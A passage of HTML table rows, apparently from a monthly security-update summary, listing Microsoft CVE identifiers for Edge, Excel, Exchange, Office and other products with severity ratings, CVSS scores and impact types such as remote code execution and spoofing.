  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645"><span>CVE-2026-56645</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974"><span>CVE-2026-57974</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57975"><span>CVE-2026-57975</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58281"><span>CVE-2026-58281</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58284"><span>CVE-2026-58284</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58285"><span>CVE-2026-58285</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58287"><span>CVE-2026-58287</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58288"><span>CVE-2026-58288</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289"><span>CVE-2026-58289</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58290"><span>CVE-2026-58290</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58292"><span>CVE-2026-58292</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58293"><span>CVE-2026-58293</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58294"><span>CVE-2026-58294</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57983"><span>CVE-2026-57983</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58295"><span>CVE-2026-58295</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58525"><span>CVE-2026-58525</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57987"><span>CVE-2026-57987</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58278"><span>CVE-2026-58278</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56646"><span>CVE-2026-56646</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57977"><span>CVE-2026-57977</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57993"><span>CVE-2026-57993</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58282"><span>CVE-2026-58282</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58283"><span>CVE-2026-58283</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58286"><span>CVE-2026-58286</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58298"><span>CVE-2026-58298</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58524"><span>CVE-2026-58524</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58296"><span>CVE-2026-58296</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58297"><span>CVE-2026-58297</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58300"><span>CVE-2026-58300</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58522"><span>CVE-2026-58522</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58299"><span>CVE-2026-58299</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58523"><span>CVE-2026-58523</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50678"><span>CVE-2026-50678</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54988"><span>CVE-2026-54988</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48580"><span>CVE-2026-48580</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50408"><span>CVE-2026-50408</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55046"><span>CVE-2026-55046</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55138"><span>CVE-2026-55138</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55054"><span>CVE-2026-55054</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55122"><span>CVE-2026-55122</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55898"><span>CVE-2026-55898</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50675"><span>CVE-2026-50675</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55899"><span>CVE-2026-55899</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55948"><span>CVE-2026-55948</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58618"><span>CVE-2026-58618</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47642"><span>CVE-2026-47642</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55024"><span>CVE-2026-55024</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55025"><span>CVE-2026-55025</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55031"><span>CVE-2026-55031</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55048"><span>CVE-2026-55048</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55029"><span>CVE-2026-55029</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55039"><span>CVE-2026-55039</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55136"><span>CVE-2026-55136</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55141"><span>CVE-2026-55141</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55036"><span>CVE-2026-55036</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55044"><span>CVE-2026-55044</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55037"><span>CVE-2026-55037</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55058"><span>CVE-2026-55058</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55137"><span>CVE-2026-55137</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55053"><span>CVE-2026-55053</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55131"><span>CVE-2026-55131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54131"><span>CVE-2026-54131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55947"><span>CVE-2026-55947</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55949"><span>CVE-2026-55949</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56156"><span>CVE-2026-56156</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006"><span>CVE-2026-55006</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009"><span>CVE-2026-55009</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005"><span>CVE-2026-55005</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56642"><span>CVE-2026-56642</span></a></td>
  <td width="256" class="xl74">Microsoft Fabric Data
  Warehouse Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343"><span>CVE-2026-50343</span></a></td>
  <td width="256" class="xl74">Microsoft Install
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50439"><span>CVE-2026-50439</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58537"><span>CVE-2026-58537</span></a></td>
  <td width="256" class="xl74">Microsoft NAT Helper
  Components (ipnathlp.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56193"><span>CVE-2026-56193</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
